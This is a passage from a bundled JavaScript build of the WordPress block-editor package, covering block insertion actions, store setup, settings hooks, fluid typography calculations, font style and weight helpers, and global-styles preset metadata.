13586 (blockName) => !(0,external_wp_blocks_namespaceObject.hasBlockSupport)(blockName, "multiple", true)
13587 )) {
13588 return;
13589 }
13590 const rootClientId = select.getBlockRootClientId(clientIds[0]);
13591 const clientIdsArray = actions_castArray(clientIds);
13592 const lastSelectedIndex = select.getBlockIndex(
13593 clientIdsArray[clientIdsArray.length - 1]
13594 );
13595 const clonedBlocks = blocks.map(
13596 (block) => (0,external_wp_blocks_namespaceObject.__experimentalCloneSanitizedBlock)(block)
13597 );
13598 dispatch.insertBlocks(
13599 clonedBlocks,
13600 lastSelectedIndex + 1,
13601 rootClientId,
13602 updateSelection
13603 );
13604 if (clonedBlocks.length > 1 && updateSelection) {
13605 dispatch.multiSelect(
13606 clonedBlocks[0].clientId,
13607 clonedBlocks[clonedBlocks.length - 1].clientId
13608 );
13609 }
13610 return clonedBlocks.map((block) => block.clientId);
13611};
13612const insertBeforeBlock = (clientId) => ({ select, dispatch }) => {
13613 if (!clientId) {
13614 return;
13615 }
13616 const rootClientId = select.getBlockRootClientId(clientId);
13617 const isLocked = select.getTemplateLock(rootClientId);
13618 if (isLocked) {
13619 return;
13620 }
13621 const blockIndex = select.getBlockIndex(clientId);
13622 const directInsertBlock = rootClientId ? select.getDirectInsertBlock(rootClientId) : null;
13623 if (!directInsertBlock) {
13624 return dispatch.insertDefaultBlock({}, rootClientId, blockIndex);
13625 }
13626 const copiedAttributes = {};
13627 if (directInsertBlock.attributesToCopy) {
13628 const attributes = select.getBlockAttributes(clientId);
13629 directInsertBlock.attributesToCopy.forEach((key) => {
13630 if (attributes[key]) {
13631 copiedAttributes[key] = attributes[key];
13632 }
13633 });
13634 }
13635 const block = (0,external_wp_blocks_namespaceObject.createBlock)(directInsertBlock.name, {
13636 ...directInsertBlock.attributes,
13637 ...copiedAttributes
13638 });
13639 return dispatch.insertBlock(block, blockIndex, rootClientId);
13640};
13641const insertAfterBlock = (clientId) => ({ select, dispatch }) => {
13642 if (!clientId) {
13643 return;
13644 }
13645 const rootClientId = select.getBlockRootClientId(clientId);
13646 const isLocked = select.getTemplateLock(rootClientId);
13647 if (isLocked) {
13648 return;
13649 }
13650 const blockIndex = select.getBlockIndex(clientId);
13651 const directInsertBlock = rootClientId ? select.getDirectInsertBlock(rootClientId) : null;
13652 if (!directInsertBlock) {
13653 return dispatch.insertDefaultBlock(
13654 {},
13655 rootClientId,
13656 blockIndex + 1
13657 );
13658 }
13659 const copiedAttributes = {};
13660 if (directInsertBlock.attributesToCopy) {
13661 const attributes = select.getBlockAttributes(clientId);
13662 directInsertBlock.attributesToCopy.forEach((key) => {
13663 if (attributes[key]) {
13664 copiedAttributes[key] = attributes[key];
13665 }
13666 });
13667 }
13668 const block = (0,external_wp_blocks_namespaceObject.createBlock)(directInsertBlock.name, {
13669 ...directInsertBlock.attributes,
13670 ...copiedAttributes
13671 });
13672 return dispatch.insertBlock(block, blockIndex + 1, rootClientId);
13673};
13674function toggleBlockHighlight(clientId, isHighlighted) {
13675 return {
13676 type: "TOGGLE_BLOCK_HIGHLIGHT",
13677 clientId,
13678 isHighlighted
13679 };
13680}
13681const flashBlock = (clientId, timeout = 150) => async ({ dispatch }) => {
13682 dispatch(toggleBlockHighlight(clientId, true));
13683 await new Promise((resolve) => setTimeout(resolve, timeout));
13684 dispatch(toggleBlockHighlight(clientId, false));
13685};
13686function setHasControlledInnerBlocks(clientId, hasControlledInnerBlocks) {
13687 return {
13688 type: "SET_HAS_CONTROLLED_INNER_BLOCKS",
13689 hasControlledInnerBlocks,
13690 clientId
13691 };
13692}
13693function setBlockVisibility(updates) {
13694 return {
13695 type: "SET_BLOCK_VISIBILITY",
13696 updates
13697 };
13698}
13699function __unstableSetTemporarilyEditingAsBlocks(temporarilyEditingAsBlocks, focusModeToRevert) {
13700 return {
13701 type: "SET_TEMPORARILY_EDITING_AS_BLOCKS",
13702 temporarilyEditingAsBlocks,
13703 focusModeToRevert
13704 };
13705}
13706const registerInserterMediaCategory = (category) => ({ select, dispatch }) => {
13707 if (!category || typeof category !== "object") {
13708 console.error(
13709 "Category should be an `InserterMediaCategory` object."
13710 );
13711 return;
13712 }
13713 if (!category.name) {
13714 console.error(
13715 "Category should have a `name` that should be unique among all media categories."
13716 );
13717 return;
13718 }
13719 if (!category.labels?.name) {
13720 console.error("Category should have a `labels.name`.");
13721 return;
13722 }
13723 if (!["image", "audio", "video"].includes(category.mediaType)) {
13724 console.error(
13725 "Category should have `mediaType` property that is one of `image|audio|video`."
13726 );
13727 return;
13728 }
13729 if (!category.fetch || typeof category.fetch !== "function") {
13730 console.error(
13731 "Category should have a `fetch` function defined with the following signature `(InserterMediaRequest) => Promise<InserterMediaItem[]>`."
13732 );
13733 return;
13734 }
13735 const registeredInserterMediaCategories = select.getRegisteredInserterMediaCategories();
13736 if (registeredInserterMediaCategories.some(
13737 ({ name }) => name === category.name
13738 )) {
13739 console.error(
13740 `A category is already registered with the same name: "${category.name}".`
13741 );
13742 return;
13743 }
13744 if (registeredInserterMediaCategories.some(
13745 ({ labels: { name } = {} }) => name === category.labels?.name
13746 )) {
13747 console.error(
13748 `A category is already registered with the same labels.name: "${category.labels.name}".`
13749 );
13750 return;
13751 }
13752 dispatch({
13753 type: "REGISTER_INSERTER_MEDIA_CATEGORY",
13754 category: { ...category, isExternalResource: true }
13755 });
13756};
13757function setBlockEditingMode(clientId = "", mode) {
13758 return {
13759 type: "SET_BLOCK_EDITING_MODE",
13760 clientId,
13761 mode
13762 };
13763}
13764function unsetBlockEditingMode(clientId = "") {
13765 return {
13766 type: "UNSET_BLOCK_EDITING_MODE",
13767 clientId
13768 };
13769}
13770
13771
13772;// ./node_modules/@wordpress/block-editor/build-module/store/index.js
13773
13774
13775
13776
13777
13778
13779
13780
13781const storeConfig = {
13782 reducer: reducer_default,
13783 selectors: selectors_namespaceObject,
13784 actions: actions_namespaceObject
13785};
13786const store = (0,external_wp_data_namespaceObject.createReduxStore)(STORE_NAME, {
13787 ...storeConfig,
13788 persist: ["preferences"]
13789});
13790const registeredStore = (0,external_wp_data_namespaceObject.registerStore)(STORE_NAME, {
13791 ...storeConfig,
13792 persist: ["preferences"]
13793});
13794unlock(registeredStore).registerPrivateActions(private_actions_namespaceObject);
13795unlock(registeredStore).registerPrivateSelectors(private_selectors_namespaceObject);
13796unlock(store).registerPrivateActions(private_actions_namespaceObject);
13797unlock(store).registerPrivateSelectors(private_selectors_namespaceObject);
13798
13799
13800;// ./node_modules/@wordpress/block-editor/build-module/components/use-settings/index.js
13801
13802
13803
13804
13805
13806function use_settings_useSettings(...paths) {
13807 const { clientId = null } = useBlockEditContext();
13808 return (0,external_wp_data_namespaceObject.useSelect)(
13809 (select) => unlock(select(store)).getBlockSettings(
13810 clientId,
13811 ...paths
13812 ),
13813 [clientId, ...paths]
13814 );
13815}
13816function useSetting(path) {
13817 external_wp_deprecated_default()("wp.blockEditor.useSetting", {
13818 since: "6.5",
13819 alternative: "wp.blockEditor.useSettings",
13820 note: "The new useSettings function can retrieve multiple settings at once, with better performance."
13821 });
13822 const [value] = use_settings_useSettings(path);
13823 return value;
13824}
13825
13826
13827;// external ["wp","styleEngine"]
13828const external_wp_styleEngine_namespaceObject = window["wp"]["styleEngine"];
13829;// ./node_modules/@wordpress/block-editor/build-module/components/font-sizes/fluid-utils.js
13830const DEFAULT_MAXIMUM_VIEWPORT_WIDTH = "1600px";
13831const DEFAULT_MINIMUM_VIEWPORT_WIDTH = "320px";
13832const DEFAULT_SCALE_FACTOR = 1;
13833const DEFAULT_MINIMUM_FONT_SIZE_FACTOR_MIN = 0.25;
13834const DEFAULT_MINIMUM_FONT_SIZE_FACTOR_MAX = 0.75;
13835const DEFAULT_MINIMUM_FONT_SIZE_LIMIT = "14px";
13836function getComputedFluidTypographyValue({
13837 minimumFontSize,
13838 maximumFontSize,
13839 fontSize,
13840 minimumViewportWidth = DEFAULT_MINIMUM_VIEWPORT_WIDTH,
13841 maximumViewportWidth = DEFAULT_MAXIMUM_VIEWPORT_WIDTH,
13842 scaleFactor = DEFAULT_SCALE_FACTOR,
13843 minimumFontSizeLimit
13844}) {
13845 minimumFontSizeLimit = !!getTypographyValueAndUnit(minimumFontSizeLimit) ? minimumFontSizeLimit : DEFAULT_MINIMUM_FONT_SIZE_LIMIT;
13846 if (fontSize) {
13847 const fontSizeParsed = getTypographyValueAndUnit(fontSize);
13848 if (!fontSizeParsed?.unit) {
13849 return null;
13850 }
13851 const minimumFontSizeLimitParsed = getTypographyValueAndUnit(
13852 minimumFontSizeLimit,
13853 {
13854 coerceTo: fontSizeParsed.unit
13855 }
13856 );
13857 if (!!minimumFontSizeLimitParsed?.value && !minimumFontSize && !maximumFontSize) {
13858 if (fontSizeParsed?.value <= minimumFontSizeLimitParsed?.value) {
13859 return null;
13860 }
13861 }
13862 if (!maximumFontSize) {
13863 maximumFontSize = `${fontSizeParsed.value}${fontSizeParsed.unit}`;
13864 }
13865 if (!minimumFontSize) {
13866 const fontSizeValueInPx = fontSizeParsed.unit === "px" ? fontSizeParsed.value : fontSizeParsed.value * 16;
13867 const minimumFontSizeFactor = Math.min(
13868 Math.max(
13869 1 - 0.075 * Math.log2(fontSizeValueInPx),
13870 DEFAULT_MINIMUM_FONT_SIZE_FACTOR_MIN
13871 ),
13872 DEFAULT_MINIMUM_FONT_SIZE_FACTOR_MAX
13873 );
13874 const calculatedMinimumFontSize = roundToPrecision(
13875 fontSizeParsed.value * minimumFontSizeFactor,
13876 3
13877 );
13878 if (!!minimumFontSizeLimitParsed?.value && calculatedMinimumFontSize < minimumFontSizeLimitParsed?.value) {
13879 minimumFontSize = `${minimumFontSizeLimitParsed.value}${minimumFontSizeLimitParsed.unit}`;
13880 } else {
13881 minimumFontSize = `${calculatedMinimumFontSize}${fontSizeParsed.unit}`;
13882 }
13883 }
13884 }
13885 const minimumFontSizeParsed = getTypographyValueAndUnit(minimumFontSize);
13886 const fontSizeUnit = minimumFontSizeParsed?.unit || "rem";
13887 const maximumFontSizeParsed = getTypographyValueAndUnit(maximumFontSize, {
13888 coerceTo: fontSizeUnit
13889 });
13890 if (!minimumFontSizeParsed || !maximumFontSizeParsed) {
13891 return null;
13892 }
13893 const minimumFontSizeRem = getTypographyValueAndUnit(minimumFontSize, {
13894 coerceTo: "rem"
13895 });
13896 const maximumViewportWidthParsed = getTypographyValueAndUnit(
13897 maximumViewportWidth,
13898 { coerceTo: fontSizeUnit }
13899 );
13900 const minimumViewportWidthParsed = getTypographyValueAndUnit(
13901 minimumViewportWidth,
13902 { coerceTo: fontSizeUnit }
13903 );
13904 if (!maximumViewportWidthParsed || !minimumViewportWidthParsed || !minimumFontSizeRem) {
13905 return null;
13906 }
13907 const linearDenominator = maximumViewportWidthParsed.value - minimumViewportWidthParsed.value;
13908 if (!linearDenominator) {
13909 return null;
13910 }
13911 const minViewportWidthOffsetValue = roundToPrecision(
13912 minimumViewportWidthParsed.value / 100,
13913 3
13914 );
13915 const viewportWidthOffset = roundToPrecision(minViewportWidthOffsetValue, 3) + fontSizeUnit;
13916 const linearFactor = 100 * ((maximumFontSizeParsed.value - minimumFontSizeParsed.value) / linearDenominator);
13917 const linearFactorScaled = roundToPrecision(
13918 (linearFactor || 1) * scaleFactor,
13919 3
13920 );
13921 const fluidTargetFontSize = `${minimumFontSizeRem.value}${minimumFontSizeRem.unit} + ((1vw - ${viewportWidthOffset}) * ${linearFactorScaled})`;
13922 return `clamp(${minimumFontSize}, ${fluidTargetFontSize}, ${maximumFontSize})`;
13923}
13924function getTypographyValueAndUnit(rawValue, options = {}) {
13925 if (typeof rawValue !== "string" && typeof rawValue !== "number") {
13926 return null;
13927 }
13928 if (isFinite(rawValue)) {
13929 rawValue = `${rawValue}px`;
13930 }
13931 const { coerceTo, rootSizeValue, acceptableUnits } = {
13932 coerceTo: "",
13933 // Default browser font size. Later we could inject some JS to compute this `getComputedStyle( document.querySelector( "html" ) ).fontSize`.
13934 rootSizeValue: 16,
13935 acceptableUnits: ["rem", "px", "em"],
13936 ...options
13937 };
13938 const acceptableUnitsGroup = acceptableUnits?.join("|");
13939 const regexUnits = new RegExp(
13940 `^(\\d*\\.?\\d+)(${acceptableUnitsGroup}){1,1}$`
13941 );
13942 const matches = rawValue.match(regexUnits);
13943 if (!matches || matches.length < 3) {
13944 return null;
13945 }
13946 let [, value, unit] = matches;
13947 let returnValue = parseFloat(value);
13948 if ("px" === coerceTo && ("em" === unit || "rem" === unit)) {
13949 returnValue = returnValue * rootSizeValue;
13950 unit = coerceTo;
13951 }
13952 if ("px" === unit && ("em" === coerceTo || "rem" === coerceTo)) {
13953 returnValue = returnValue / rootSizeValue;
13954 unit = coerceTo;
13955 }
13956 if (("em" === coerceTo || "rem" === coerceTo) && ("em" === unit || "rem" === unit)) {
13957 unit = coerceTo;
13958 }
13959 return {
13960 value: roundToPrecision(returnValue, 3),
13961 unit
13962 };
13963}
13964function roundToPrecision(value, digits = 3) {
13965 const base = Math.pow(10, digits);
13966 return Number.isFinite(value) ? parseFloat(Math.round(value * base) / base) : void 0;
13967}
13968
13969
13970;// ./node_modules/@wordpress/block-editor/build-module/utils/format-font-style.js
13971
13972function formatFontStyle(fontStyle) {
13973 if (!fontStyle) {
13974 return {};
13975 }
13976 if (typeof fontStyle === "object") {
13977 return fontStyle;
13978 }
13979 let name;
13980 switch (fontStyle) {
13981 case "normal":
13982 name = (0,external_wp_i18n_namespaceObject._x)("Regular", "font style");
13983 break;
13984 case "italic":
13985 name = (0,external_wp_i18n_namespaceObject._x)("Italic", "font style");
13986 break;
13987 case "oblique":
13988 name = (0,external_wp_i18n_namespaceObject._x)("Oblique", "font style");
13989 break;
13990 default:
13991 name = fontStyle;
13992 break;
13993 }
13994 return { name, value: fontStyle };
13995}
13996
13997
13998;// ./node_modules/@wordpress/block-editor/build-module/utils/format-font-weight.js
13999
14000function formatFontWeight(fontWeight) {
14001 if (!fontWeight) {
14002 return {};
14003 }
14004 if (typeof fontWeight === "object") {
14005 return fontWeight;
14006 }
14007 let name;
14008 switch (fontWeight) {
14009 case "normal":
14010 case "400":
14011 name = (0,external_wp_i18n_namespaceObject._x)("Regular", "font weight");
14012 break;
14013 case "bold":
14014 case "700":
14015 name = (0,external_wp_i18n_namespaceObject._x)("Bold", "font weight");
14016 break;
14017 case "100":
14018 name = (0,external_wp_i18n_namespaceObject._x)("Thin", "font weight");
14019 break;
14020 case "200":
14021 name = (0,external_wp_i18n_namespaceObject._x)("Extra Light", "font weight");
14022 break;
14023 case "300":
14024 name = (0,external_wp_i18n_namespaceObject._x)("Light", "font weight");
14025 break;
14026 case "500":
14027 name = (0,external_wp_i18n_namespaceObject._x)("Medium", "font weight");
14028 break;
14029 case "600":
14030 name = (0,external_wp_i18n_namespaceObject._x)("Semi Bold", "font weight");
14031 break;
14032 case "800":
14033 name = (0,external_wp_i18n_namespaceObject._x)("Extra Bold", "font weight");
14034 break;
14035 case "900":
14036 name = (0,external_wp_i18n_namespaceObject._x)("Black", "font weight");
14037 break;
14038 case "1000":
14039 name = (0,external_wp_i18n_namespaceObject._x)("Extra Black", "font weight");
14040 break;
14041 default:
14042 name = fontWeight;
14043 break;
14044 }
14045 return { name, value: fontWeight };
14046}
14047
14048
14049;// ./node_modules/@wordpress/block-editor/build-module/utils/get-font-styles-and-weights.js
14050
14051
14052
14053const FONT_STYLES = [
14054 {
14055 name: (0,external_wp_i18n_namespaceObject._x)("Regular", "font style"),
14056 value: "normal"
14057 },
14058 {
14059 name: (0,external_wp_i18n_namespaceObject._x)("Italic", "font style"),
14060 value: "italic"
14061 }
14062];
14063const FONT_WEIGHTS = [
14064 {
14065 name: (0,external_wp_i18n_namespaceObject._x)("Thin", "font weight"),
14066 value: "100"
14067 },
14068 {
14069 name: (0,external_wp_i18n_namespaceObject._x)("Extra Light", "font weight"),
14070 value: "200"
14071 },
14072 {
14073 name: (0,external_wp_i18n_namespaceObject._x)("Light", "font weight"),
14074 value: "300"
14075 },
14076 {
14077 name: (0,external_wp_i18n_namespaceObject._x)("Regular", "font weight"),
14078 value: "400"
14079 },
14080 {
14081 name: (0,external_wp_i18n_namespaceObject._x)("Medium", "font weight"),
14082 value: "500"
14083 },
14084 {
14085 name: (0,external_wp_i18n_namespaceObject._x)("Semi Bold", "font weight"),
14086 value: "600"
14087 },
14088 {
14089 name: (0,external_wp_i18n_namespaceObject._x)("Bold", "font weight"),
14090 value: "700"
14091 },
14092 {
14093 name: (0,external_wp_i18n_namespaceObject._x)("Extra Bold", "font weight"),
14094 value: "800"
14095 },
14096 {
14097 name: (0,external_wp_i18n_namespaceObject._x)("Black", "font weight"),
14098 value: "900"
14099 },
14100 {
14101 name: (0,external_wp_i18n_namespaceObject._x)("Extra Black", "font weight"),
14102 value: "1000"
14103 }
14104];
14105function getFontStylesAndWeights(fontFamilyFaces) {
14106 let fontStyles = [];
14107 let fontWeights = [];
14108 const combinedStyleAndWeightOptions = [];
14109 const isSystemFont = !fontFamilyFaces || fontFamilyFaces?.length === 0;
14110 let isVariableFont = false;
14111 fontFamilyFaces?.forEach((face) => {
14112 if ("string" === typeof face.fontWeight && /\s/.test(face.fontWeight.trim())) {
14113 isVariableFont = true;
14114 let [startValue, endValue] = face.fontWeight.split(" ");
14115 startValue = parseInt(startValue.slice(0, 1));
14116 if (endValue === "1000") {
14117 endValue = 10;
14118 } else {
14119 endValue = parseInt(endValue.slice(0, 1));
14120 }
14121 for (let i = startValue; i <= endValue; i++) {
14122 const fontWeightValue = `${i.toString()}00`;
14123 if (!fontWeights.some(
14124 (weight) => weight.value === fontWeightValue
14125 )) {
14126 fontWeights.push(formatFontWeight(fontWeightValue));
14127 }
14128 }
14129 }
14130 const fontWeight = formatFontWeight(
14131 "number" === typeof face.fontWeight ? face.fontWeight.toString() : face.fontWeight
14132 );
14133 const fontStyle = formatFontStyle(face.fontStyle);
14134 if (fontStyle && Object.keys(fontStyle).length) {
14135 if (!fontStyles.some(
14136 (style) => style.value === fontStyle.value
14137 )) {
14138 fontStyles.push(fontStyle);
14139 }
14140 }
14141 if (fontWeight && Object.keys(fontWeight).length) {
14142 if (!fontWeights.some(
14143 (weight) => weight.value === fontWeight.value
14144 )) {
14145 if (!isVariableFont) {
14146 fontWeights.push(fontWeight);
14147 }
14148 }
14149 }
14150 });
14151 if (!fontWeights.some((weight) => weight.value >= "600")) {
14152 fontWeights.push({
14153 name: (0,external_wp_i18n_namespaceObject._x)("Bold", "font weight"),
14154 value: "700"
14155 });
14156 }
14157 if (!fontStyles.some((style) => style.value === "italic")) {
14158 fontStyles.push({
14159 name: (0,external_wp_i18n_namespaceObject._x)("Italic", "font style"),
14160 value: "italic"
14161 });
14162 }
14163 if (isSystemFont) {
14164 fontStyles = FONT_STYLES;
14165 fontWeights = FONT_WEIGHTS;
14166 }
14167 fontStyles = fontStyles.length === 0 ? FONT_STYLES : fontStyles;
14168 fontWeights = fontWeights.length === 0 ? FONT_WEIGHTS : fontWeights;
14169 fontStyles.forEach(({ name: styleName, value: styleValue }) => {
14170 fontWeights.forEach(({ name: weightName, value: weightValue }) => {
14171 const optionName = styleValue === "normal" ? weightName : (0,external_wp_i18n_namespaceObject.sprintf)(
14172 /* translators: 1: Font weight name. 2: Font style name. */
14173 (0,external_wp_i18n_namespaceObject._x)("%1$s %2$s", "font"),
14174 weightName,
14175 styleName
14176 );
14177 combinedStyleAndWeightOptions.push({
14178 key: `${styleValue}-${weightValue}`,
14179 name: optionName,
14180 style: {
14181 fontStyle: styleValue,
14182 fontWeight: weightValue
14183 }
14184 });
14185 });
14186 });
14187 return {
14188 fontStyles,
14189 fontWeights,
14190 combinedStyleAndWeightOptions,
14191 isSystemFont,
14192 isVariableFont
14193 };
14194}
14195
14196
14197;// ./node_modules/@wordpress/block-editor/build-module/components/global-styles/typography-utils.js
14198
14199
14200function getTypographyFontSizeValue(preset, settings) {
14201 const { size: defaultSize } = preset;
14202 if (!defaultSize || "0" === defaultSize || false === preset?.fluid) {
14203 return defaultSize;
14204 }
14205 if (!isFluidTypographyEnabled(settings?.typography) && !isFluidTypographyEnabled(preset)) {
14206 return defaultSize;
14207 }
14208 let fluidTypographySettings = getFluidTypographyOptionsFromSettings(settings);
14209 fluidTypographySettings = typeof fluidTypographySettings?.fluid === "object" ? fluidTypographySettings?.fluid : {};
14210 const fluidFontSizeValue = getComputedFluidTypographyValue({
14211 minimumFontSize: preset?.fluid?.min,
14212 maximumFontSize: preset?.fluid?.max,
14213 fontSize: defaultSize,
14214 minimumFontSizeLimit: fluidTypographySettings?.minFontSize,
14215 maximumViewportWidth: fluidTypographySettings?.maxViewportWidth,
14216 minimumViewportWidth: fluidTypographySettings?.minViewportWidth
14217 });
14218 if (!!fluidFontSizeValue) {
14219 return fluidFontSizeValue;
14220 }
14221 return defaultSize;
14222}
14223function isFluidTypographyEnabled(typographySettings) {
14224 const fluidSettings = typographySettings?.fluid;
14225 return true === fluidSettings || fluidSettings && typeof fluidSettings === "object" && Object.keys(fluidSettings).length > 0;
14226}
14227function getFluidTypographyOptionsFromSettings(settings) {
14228 const typographySettings = settings?.typography;
14229 const layoutSettings = settings?.layout;
14230 const defaultMaxViewportWidth = getTypographyValueAndUnit(
14231 layoutSettings?.wideSize
14232 ) ? layoutSettings?.wideSize : null;
14233 return isFluidTypographyEnabled(typographySettings) && defaultMaxViewportWidth ? {
14234 fluid: {
14235 maxViewportWidth: defaultMaxViewportWidth,
14236 ...typographySettings.fluid
14237 }
14238 } : {
14239 fluid: typographySettings?.fluid
14240 };
14241}
14242function getMergedFontFamiliesAndFontFamilyFaces(settings, selectedFontFamily) {
14243 const fontFamiliesFromSettings = settings?.typography?.fontFamilies;
14244 const fontFamilies = ["default", "theme", "custom"].flatMap(
14245 (key) => fontFamiliesFromSettings?.[key] ?? []
14246 );
14247 const fontFamilyFaces = fontFamilies.find(
14248 (family) => family.fontFamily === selectedFontFamily
14249 )?.fontFace ?? [];
14250 return { fontFamilies, fontFamilyFaces };
14251}
14252function findNearestFontWeight(availableFontWeights, newFontWeightValue) {
14253 newFontWeightValue = "number" === typeof newFontWeightValue ? newFontWeightValue.toString() : newFontWeightValue;
14254 if (!newFontWeightValue || typeof newFontWeightValue !== "string") {
14255 return "";
14256 }
14257 if (!availableFontWeights || availableFontWeights.length === 0) {
14258 return newFontWeightValue;
14259 }
14260 const nearestFontWeight = availableFontWeights?.reduce(
14261 (nearest, { value: fw }) => {
14262 const currentDiff = Math.abs(
14263 parseInt(fw) - parseInt(newFontWeightValue)
14264 );
14265 const nearestDiff = Math.abs(
14266 parseInt(nearest) - parseInt(newFontWeightValue)
14267 );
14268 return currentDiff < nearestDiff ? fw : nearest;
14269 },
14270 availableFontWeights[0]?.value
14271 );
14272 return nearestFontWeight;
14273}
14274function findNearestFontStyle(availableFontStyles, newFontStyleValue) {
14275 if (typeof newFontStyleValue !== "string" || !newFontStyleValue) {
14276 return "";
14277 }
14278 const validStyles = ["normal", "italic", "oblique"];
14279 if (!validStyles.includes(newFontStyleValue)) {
14280 return "";
14281 }
14282 if (!availableFontStyles || availableFontStyles.length === 0 || availableFontStyles.find(
14283 (style) => style.value === newFontStyleValue
14284 )) {
14285 return newFontStyleValue;
14286 }
14287 if (newFontStyleValue === "oblique" && !availableFontStyles.find((style) => style.value === "oblique")) {
14288 return "italic";
14289 }
14290 return "";
14291}
14292function findNearestStyleAndWeight(fontFamilyFaces, fontStyle, fontWeight) {
14293 let nearestFontStyle = fontStyle;
14294 let nearestFontWeight = fontWeight;
14295 const { fontStyles, fontWeights, combinedStyleAndWeightOptions } = getFontStylesAndWeights(fontFamilyFaces);
14296 const hasFontStyle = fontStyles?.some(
14297 ({ value: fs }) => fs === fontStyle
14298 );
14299 const hasFontWeight = fontWeights?.some(
14300 ({ value: fw }) => fw?.toString() === fontWeight?.toString()
14301 );
14302 if (!hasFontStyle) {
14303 nearestFontStyle = fontStyle ? findNearestFontStyle(fontStyles, fontStyle) : combinedStyleAndWeightOptions?.find(
14304 (option) => option.style.fontWeight === findNearestFontWeight(fontWeights, fontWeight)
14305 )?.style?.fontStyle;
14306 }
14307 if (!hasFontWeight) {
14308 nearestFontWeight = fontWeight ? findNearestFontWeight(fontWeights, fontWeight) : combinedStyleAndWeightOptions?.find(
14309 (option) => option.style.fontStyle === (nearestFontStyle || fontStyle)
14310 )?.style?.fontWeight;
14311 }
14312 return { nearestFontStyle, nearestFontWeight };
14313}
14314
14315
14316;// ./node_modules/@wordpress/block-editor/build-module/components/global-styles/utils.js
14317
14318
14319
14320
14321
14322const ROOT_BLOCK_SELECTOR = "body";
14323const ROOT_CSS_PROPERTIES_SELECTOR = ":root";
14324const PRESET_METADATA = [
14325 {
14326 path: ["color", "palette"],
14327 valueKey: "color",
14328 cssVarInfix: "color",
14329 classes: [
14330 { classSuffix: "color", propertyName: "color" },
14331 {
14332 classSuffix: "background-color",
14333 propertyName: "background-color"
14334 },
14335 {
14336 classSuffix: "border-color",
14337 propertyName: "border-color"
14338 }
14339 ]
14340 },
14341 {
14342 path: ["color", "gradients"],
14343 valueKey: "gradient",
14344 cssVarInfix: "gradient",
14345 classes: [
14346 {
14347 classSuffix: "gradient-background",
14348 propertyName: "background"
14349 }
14350 ]
14351 },
14352 {
14353 path: ["color", "duotone"],
14354 valueKey: "colors",
14355 cssVarInfix: "duotone",
14356 valueFunc: ({ slug }) => `url( '#wp-duotone-${slug}' )`,
14357 classes: []
14358 },
14359 {
14360 path: ["shadow", "presets"],
14361 valueKey: "shadow",
14362 cssVarInfix: "shadow",
14363 classes: []
14364 },
14365 {
14366 path: ["typography", "fontSizes"],
14367 valueFunc: (preset, settings) => getTypographyFontSizeValue(preset, settings),
14368 valueKey: "size",
14369 cssVarInfix: "font-size",
14370 classes: [{ classSuffix: "font-size", propertyName: "font-size" }]
14371 },
14372 {
14373 path: ["typography", "fontFamilies"],
14374 valueKey: "fontFamily",
14375 cssVarInfix: "font-family",
14376 classes: [
14377 { classSuffix: "font-family", propertyName: "font-family" }
14378 ]
14379 },
14380 {
14381 path: ["spacing", "spacingSizes"],
14382 valueKey: "size",
14383 cssVarInfix: "spacing",
14384 classes: []
14385 },
14386 {
14387 path: ["border", "radiusSizes"],
14388 valueKey: "size",
14389 cssVarInfix: "border-radius",
14390 classes: []
14391 }
14392];
14393const STYLE_PATH_TO_CSS_VAR_INFIX = {
14394 "color.background": "color",
14395 "color.text": "color",
14396 "filter.duotone": "duotone",
14397 "elements.link.color.text": "color",
14398 "elements.link.:hover.color.text": "color",
14399 "elements.link.typography.fontFamily": "font-family",
14400 "elements.link.typography.fontSize": "font-size",
14401 "elements.button.color.text": "color",
14402 "elements.button.color.background": "color",
14403 "elements.caption.color.text": "color",
14404 "elements.button.typography.fontFamily": "font-family",
14405 "elements.button.typography.fontSize": "font-size",
14406 "elements.heading.color": "color",
14407 "elements.heading.color.background": "color",
14408 "elements.heading.typography.fontFamily": "font-family",
14409 "elements.heading.gradient": "gradient",
14410 "elements.heading.color.gradient": "gradient",
14411 "elements.h1.color": "color",
14412 "elements.h1.color.background": "color",
14413 "elements.h1.typography.fontFamily": "font-family",
14414 "elements.h1.color.gradient": "gradient",
14415 "elements.h2.color": "color",
14416 "elements.h2.color.background": "color",
14417 "elements.h2.typography.fontFamily": "font-family",
14418 "elements.h2.color.gradient": "gradient",
14419 "elements.h3.color": "color",
14420 "elements.h3.color.background": "color",
14421 "elements.h3.typography.fontFamily": "font-family",
14422 "elements.h3.color.gradient": "gradient",
14423 "elements.h4.color": "color",
14424 "elements.h4.color.background": "color",
14425 "elements.h4.typography.fontFamily": "font-family",
14426 "elements.h4.color.gradient": "gradient",
14427 "elements.h5.color": "color",
14428 "elements.h5.color.background": "color",
14429 "elements.h5.typography.fontFamily": "font-family",
14430 "elements.h5.color.gradient": "gradient",
14431 "elements.h6.color": "color",
14432 "elements.h6.color.background": "color",
14433 "elements.h6.typography.fontFamily": "font-family",
14434 "elements.h6.color.gradient": "gradient",
14435 "color.gradient": "gradient",
14436 shadow: "shadow",
14437 "typography.fontSize": "font-size",
14438 "typography.fontFamily": "font-family"
14439};
14440const STYLE_PATH_TO_PRESET_BLOCK_ATTRIBUTE = {
14441 "color.background": "backgroundColor",
14442 "color.text": "textColor",
14443 "color.gradient": "gradient",
14444 "typography.fontSize": "fontSize",
14445 "typography.fontFamily": "fontFamily"
14446};
14447function useToolsPanelDropdownMenuProps() {
14448 const isMobile = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
14449 return !isMobile ? {
14450 popoverProps: {
14451 placement: "left-start",
14452 // For non-mobile, inner sidebar width (248px) - button width (24px) - border (1px) + padding (16px) + spacing (20px)
14453 offset: 259
14454 }
14455 } : {};
14456}
14457function findInPresetsBy(features, blockName, presetPath, presetProperty, presetValueValue) {
14458 const orderedPresetsByOrigin = [
14459 getValueFromObjectPath(features, [
14460 "blocks",
14461 blockName,
14462 ...presetPath
14463 ]),
14464 getValueFromObjectPath(features, presetPath)
14465 ];
14466 for (const presetByOrigin of orderedPresetsByOrigin) {
14467 if (presetByOrigin) {
14468 const origins = ["custom", "theme", "default"];
14469 for (const origin of origins) {
14470 const presets = presetByOrigin[origin];
14471 if (presets) {
14472 const presetObject = presets.find(
14473 (preset) => preset[presetProperty] === presetValueValue
14474 );
14475 if (presetObject) {
14476 if (presetProperty === "slug") {
14477 return presetObject;
14478 }
14479 const highestPresetObjectWithSameSlug = findInPresetsBy(
14480 features,
14481 blockName,
14482 presetPath,
14483 "slug",
14484 presetObject.slug
14485 );
14486 if (highestPresetObjectWithSameSlug[presetProperty] === presetObject[presetProperty]) {
14487 return presetObject;
14488 }
14489 return void 0;
14490 }
14491 }
14492 }
14493 }
14494 }
14495}
